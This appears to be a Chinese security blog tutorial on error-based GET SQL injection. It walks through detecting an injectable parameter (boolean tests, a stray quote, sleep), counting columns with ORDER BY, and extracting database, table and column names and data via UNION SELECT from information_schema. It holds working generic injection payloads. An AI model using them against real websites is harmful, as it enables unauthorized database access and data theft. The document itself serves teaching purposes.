【web安全】sql显错注入之get注入的基本流程

幸运草
幸运草
幸运草
1033
文章
3
评论
2020年3月31日21:46:37
评论
384

 注入:注入攻击的本质就是把用户输入的数据当做代码执行。

这里有两个关键条件:
1、 用户能够控制输入
2、 原本程序要执行的代码,拼接了用户输入的数据然后进行执行

显错注入的基本流程:

判断是否存在注入点 –> 猜测字段数 -> 寻找输出点 -> 利用系统自带库查询表名,字段名 –> 拿到想要的数据

古老的判断方法

判断是否存在注入

1=1 页面正常
1=2 页面不正常

and 和 or 或

真 and 真 =真
真 and 假 =假
1=1 (成立)
1=2(不成立)

select  * from news where  id = 1 and 1=1

id=1 真 1=1 真 页面正常
id=1 真 1=2 假 页面不正常

简单的判断方法:

加’号,会报错就存在注入,不报错就不存在注入
程序是一个严谨的东西,引号要成双成对,只有一个引号会报错

方法三:

可以在id的数值后面减一
id=2是页面a,id=1是页面b
2-1如果显示页面b,那2-1 中-号是运算符号,它起了作用,如果是字符串就不会起作用

方法四:

在后面加 or sleep(5) 让页面休眠5秒,如果休眠了,那么就存在注入

猜测字段数:

order by
order by 5,如果页面显示正常就存在5个字段,反之即不存在

找到输入点:

如果字段数有5个字段就是
union select 1,2,3,4,5

利用自带库查询表名,字段名:

union select 1,2,3,4,database()
在回显点5处得到数据库的名字,

union select 1,2,3,4,table_name from information_schema.tables where table_schema=’数据库的名字’ limit 0,1

在回显点5处得到表名

union select 1,2,3,4,column_name from information_schema.columns where table_schema=’数据库的名字’ limit 0,1

在回显点5处得到字段名

拿到数据:

union select 1,2,3,4,字段名 from 表名 limit 0,1

题外话:

`反引号
在js中可以代替(‘
在php中可以直接执行系统命令
联合查询是可以用
union all select 代替 union select
因为有的数据库是不支持union select

本文来源于:【web安全】sql显错注入之get注入的基本流程-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

转载请注明:{{title}}-变化吧
  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 赞助本站
  • 支付宝扫一扫
  • weinxin
幸运草
勒索病毒攻击事件频发,企业上云应如何应对 劫持

勒索病毒攻击事件频发,企业上云应如何应对

劫持数据库“白帽子”黑客勒索比特币2017年5月13日,互联网多家网站疯传一条消息:据TechWeb报道,全球突发劫持数据、勒索比特币的病毒事件。英国16家医院遭到大范围网络攻击,电脑被锁定,黑客索要...
劫持数据库“白帽子”黑客勒索比特币 劫持

劫持数据库“白帽子”黑客勒索比特币

2017年5月13日,互联网多家网站疯传一条消息:据TechWeb报道,全球突发劫持数据、勒索比特币的病毒事件。英国16家医院遭到大范围网络攻击,电脑被锁定,黑客索要每家医院支付相当于400万人民币的...